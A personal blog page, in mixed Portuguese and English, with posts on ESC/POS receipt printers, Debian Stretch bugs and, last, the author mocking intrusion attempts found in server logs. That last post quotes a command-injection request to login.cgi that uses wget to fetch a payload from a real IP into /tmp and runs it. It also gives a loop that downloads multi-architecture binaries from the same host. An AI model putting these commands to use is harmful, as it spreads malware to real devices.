Search This Blog

2018-08-22

thermal echoes... :)

https://mike42.me/blog/what-is-escpos-and-how-do-i-use-it

https://mike42.me/blog/2015-03-getting-a-usb-receipt-printer-working-on-linux

http://content.epson.de/fileadmin/content/files/RSD/downloads/escpos.pdf

50mm... if not enough chars per line ::: perhaps convert to a bitmap first...

https://manpages.debian.org/stretch/netpbm/pbmtext.1.en.html

... esta' tudo parvo... :( ... onde estao as que imprimem 80 colunas?...

... good old days... when hackers still respected them selves...

https://www.atarimagazines.com/compute/issue40/news_80-column_printer.php

e tu ::: https://www.brother.pt/impressoras-etiquetas/td-4100n
300ppp...
* 120mm = 4.724 * 300 / 80 = 17.715 pixels/char... :D
* 80mm =  3.149 * 300 / 80 = 11.8 pixels/char... :)

... e porque e' que es bue' cara?... 80 colunas e' so' para ricos... :(

... it does seam to work with debian... :)

https://help.brother-usa.com/app/answers/detail/a_id/63186/~/is-there-a-printer-driver-for-the-linux-operating-system%3F

... weee... there is a debian package... :D

http://support.brother.com/g/b/downloadlist.aspx?c=us&lang=en&prod=lptd4100neus&os=130

... and an arch package...
https://aur.archlinux.org/packages/brother-td4100n/

2018-08-16

debian stretch found bugs

this post will be updated with bugs found in debian stretch...

systemctl ::: running as a regular user, using pkexec as gui to authenticate, after asking permission still does does not allow to enable/disable services, is does allow start/stop.

example...

# systemctl enable dnsmasq
Synchronizing state of dnsmasq.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install enable dnsmasq
update-rc.d: error: Permission denied

... workaround ::: pkexec systemctl enable dnsmasq

haddock ::: generated documentation links to invalid java script.

at java script console...

MathJax.js?config=Te…MS-MML_HTMLorMML:32 WARNING: cdn.mathjax.org has been retired. Check https://www.mathjax.org/cdn-shutting-down/ for migration tips.

... problem is in...

# grep -r 'MathJax.js' /usr/lib/*
Binary file /usr/lib/ghc/bin/haddock matches

... workaround ::: use sed to parse generated files (this message will soon be updated, with the actual code... or maybe i'll just wait for the fix, is quite unnoticeable)

2018-08-12

e mais patos...

... mais pseudo-hackaros-wanna-be a tentar invadir estes dominios com mais parvoeiras sh:

//undefined/login.cgi?cli=aa%20aa%27;wget%20http://212.237.32.62/k%20-O%20-%3E%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$

... para comecar, duh ::: Host `undefined' not found!

... e o resto da path serve para nada, nesta terra sem `login.cgi'... talves funcionem melhor noutro planeta, mais standard e que valha mais a pena... para quem quer enricar... por aqui ha' nada para roubar... e as portas abertas a sh carecem existencia... nao temos evaluacoes publicas para desocupados correrem remotamente.

  ... tambem teem a mania que assustam as pessoas, com triplets da moda...

  http://212.237.32.62/666.mp4

  ... lol ::: estao mesmo a precisar de ir aprender com literados.

  ... e tambem usam o debian mais util...
  mas para fins mais frustrados... :(

  http://212.237.32.62/es-mesmo-nabo


... e claro, tambem disponibilizam a obvia parte mais interessante...

  http://212.237.32.62/k

ja' disponivel agora... quem sabe ler que aproveite ou whatever, desta vez nao temos a arvores de directorias hyper linkada... :( ... e um shot para potenciais abacorados leitores em atrazo:

e para os mais noobs... :)

#!/bin/sh
for name in mips mipsel arm arm7 x86_64 x86_32 ;
  do wget http://212.237.32.62/$name ;
done ;